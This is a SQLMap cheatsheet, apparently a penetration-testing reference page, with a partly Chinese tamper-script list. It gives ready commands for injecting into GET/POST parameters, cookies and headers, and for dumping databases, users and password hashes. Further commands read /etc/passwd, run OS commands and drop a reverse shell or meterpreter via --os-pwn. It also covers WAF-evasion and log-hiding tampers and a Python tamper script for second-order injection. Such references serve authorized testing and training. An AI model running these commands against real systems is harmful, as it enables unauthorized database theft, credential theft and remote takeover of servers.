跳转至

SQLMap - Cheatsheet

Basic arguments for SQLmap

Generic

Bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Retrieve Information

Internal

Bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB data

Bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Using SQLMapping it is a practical tool that generates commands and provides a complete overview, both basic and advanced, for SQLMap. It includes ToolTips that explain each aspect of the tool, detailing every option so that you can improve and understand how to use it efficiently and effectively

Injection place

From Burp/ZAP capture

Capture the request and create a req.txt file

Bash
sqlmap -r req.txt --current-user

GET Request Injection

Bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

Bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers and other HTTP Methods

Bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicate string when injection is successful

Bash
--string="string_showed_when_TRUE"

Add detection technique

If you found a SQLi but sqlmap didn't detect it, you can force the detection technique with args like --prefix or --suffix, or if more complex, adding it to the paylaods used by sqlmap in /usr/share/sqlmap/data/xml/payloads/time_blind.xml for example for time blind based.

Eval

Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:

Bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Read File

Bash
--file-read=/etc/passwd

Crawl a website with SQLmap and auto-exploit

Bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Second Order Injection

Bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Read this post about how to perform simple and complex second order injections with sqlmap.

Customizing Injection

Set a suffix

Bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

Bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help finding boolean injection

Bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Remember that you can create your own tamper in python and it's very simple. You can find a tamper example in the Second Order Injection page here.

Bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

字符编码类

  • apostrophemask.py - 用UTF-8全角字符替换撇号字符
  • apostrophenullencode.py - 用非法双Unicode编码替换撇号字符
  • appendnullbyte.py - 在负载末尾添加编码的NULL字节字符
  • base64encode.py - 对负载进行Base64编码
  • chardoubleencode.py - 对给定负载的非编码字符进行双重URL编码
  • charencode.py - 对给定负载的非编码字符进行URL编码
  • charunicodeencode.py - 对非编码字符进行Unicode URL编码
  • charunicodeescape.py - 对非编码字符进行Unicode转义编码
  • hex2char.py - 将每个(MySQL) 0x编码字符串替换为等效的CONCAT(CHAR(),...) 对应物
  • hexentities.py - 将字符编码为十六进制HTML实体
  • htmlencode.py - 对非字母数字字符进行HTML编码
  • overlongutf8.py - 转换给定负载的所有(非编码)字符
  • overlongutf8more.py - 转换给定负载的所有字符
  • percentage.py - 在每个字符前添加百分号(%)

空格绕过类

  • space2comment.py - 用注释替换空格字符('/**/')
  • space2dash.py - 用破折号注释('--')后跟随机字符串和换行符替换空格字符
  • space2hash.py - 用井号注释('#')后跟随机字符串和换行符替换空格字符
  • space2morecomment.py - 用注释('/_/')替换空格字符
  • space2morehash.py - 用井号注释('#')后跟随机字符串和换行符替换空格字符
  • space2mssqlblank.py - 用有效的备用字符集替换空格字符(仅限MSSQL)
  • space2mssqlhash.py - 用井号注释('--')后跟换行符替换空格字符
  • space2mysqlblank.py - 用有效的备用字符集替换空格字符(仅限MySQL)
  • space2mysqldash.py - 用破折号注释('--')后跟换行符替换空格字符
  • space2plus.py - 用加号('+')替换空格字符
  • space2randomblank.py - 用有效的备用字符集中的随机空白字符替换空格字符

关键字处理类

  • lowercase.py - 将每个关键字字符替换为小写值(如 SELECT -> select)
  • randomcase.py - 将每个关键字字符替换为随机大小写值(如 SELECT -> SEleCt)
  • uppercase.py - 将每个关键字字符替换为大写值(如 select -> SELECT)
  • multiplespaces.py - 在SQL关键字周围添加多个空格

MySQL特定绕过类

  • versionedkeywords.py - 用(MySQL)版本化注释包围每个非函数关键字
  • versionedmorekeywords.py - 用(MySQL)版本化注释包围每个关键字
  • halfversionedmorekeywords.py - 在每个关键字前添加(MySQL)版本化注释
  • modsecurityversioned.py - 使用版本化注释包围完整查询
  • modsecurityzeroversioned.py - 使用零版本化注释包围完整查询

字符串连接处理类

  • plus2concat.py - 用(MSSQL) CONCAT()函数替换加号运算符('+')
  • plus2fnconcat.py - 用(MSSQL) ODBC函数{fn CONCAT()}替换加号运算符('+')
  • concat2concatws.py - 用CONCAT_WS()对应物替换(MySQL) CONCAT()的实例

函数替换类

  • between.py - 用NOT BETWEEN 0 AND #替换大于运算符('>')
  • greatest.py - 用GREATEST对应物替换大于运算符('>')
  • least.py - 用LEAST对应物替换大于运算符('>')
  • if2case.py - 用CASE WHEN语句替换IF语句的实例
  • ifnull2casewhenisnull.py - 用CASE WHEN语句替换IFNULL语句的实例
  • ifnull2ifisnull.py - 用ISNULL对应物替换IFNULL的实例
  • sleep2getlock.py - 用GET_LOCK()对应物替换SLEEP()的实例
  • substring2leftright.py - 用LEFT和RIGHT函数替换SUBSTRING函数

特殊绕过类

  • 0eunion.py - 用0e<数字>UNION替换UNION的实例
  • binary.py - 在关键字前插入BINARY关键字
  • bluecoat.py - 在SQL语句后添加制表符
  • commentbeforeparentheses.py - 在括号前添加(内联)注释
  • decentities.py - 对非字母数字字符进行HTML实体编码
  • dunion.py - 用DUNION替换UNION关键字的实例
  • equaltolike.py - 用LIKE对应物替换所有等号运算符('=')
  • equaltorlike.py - 用RLIKE对应物替换所有等号运算符('=')
  • escapequotes.py - 斜杠转义引号('和")
  • informationschemacomment.py - 在所有"information_schema"标识符末尾添加内联注释
  • misunion.py - 用UNION替换UNION关键字的实例

WAF绕过类

  • luanginx.py - LUA-Nginx WAF绕过(如Cloudflare)
  • luanginxmore.py - 使用420万个参数的LUA-Nginx WAF绕过
  • randomcomments.py - 在SQL关键字中添加随机注释
  • scientific.py - 滥用科学记数法绕过WAF
  • sp_password.py - 在负载末尾添加'sp_password'以便从数据库管理系统日志中自动混淆

数据库特定功能限制类

  • commalesslimit.py - 用LIMIT N OFFSET M替换LIMIT M, N的实例
  • commalessmid.py - 用MID(column FROM start FOR length)替换MID(column, start, length)的实例
  • ord2ascii.py - 用ASCII对应物替换ORD()的实例
  • schemasplit.py - 拆分模式标识符
  • symboliclogical.py - 用符号对应物替换AND和OR逻辑运算符
  • unionalltounion.py - 用UNION SELECT对应物替换UNION ALL SELECT
  • unmagicquotes.py - 用多字节组合替换引号字符
  • varnish.py - 添加HTTP头X-originating-IP
  • xforwardedfor.py - 添加伪造的HTTP头X-Forwarded-For

Second Order Injection

SQLMap can exploit Second Order SQLis. You need to provide:

  • The request where the sqlinjection payload is going to be saved
  • The request where the payload will be executed

The request where the SQL injection payload is saved is indicated as in any other injection in sqlmap. The request where sqlmap can read the output/execution of the injection can be indicated with --second-url or with --second-req if you need to indicate a complete request from a file.

Simple second order example:

Bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

In several cases this won't be enough because you will need to perform other actions apart from sending the payload and accessing a different page.

When this is needed you can use a sqlmap tamper. For example the following script will register a new user using sqlmap payload as email and logout.

Python
#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def login_account(payload):
    proxies = {'http':'http://127.0.0.1:8080'}
    cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

    params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
    url = "http://10.10.10.10/create.php"
    pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

    url = "http://10.10.10.10/exit.php"
    pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    login_account(payload)
    return payload

A SQLMap tamper is always executed before starting a injection try with a payload and it has to return a payload. In this case we don't care about the payload but we care about sending some requests, so the payload isn't changed.

So, if for some reason we need a more complex flow to exploit the second order SQL injection like:

  • Create an account with the SQLi payload inside the "email" field
  • Logout
  • Login with that account (login.txt)
  • Send a request to execute the SQL injection (second.txt)

This sqlmap line will help:

Bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all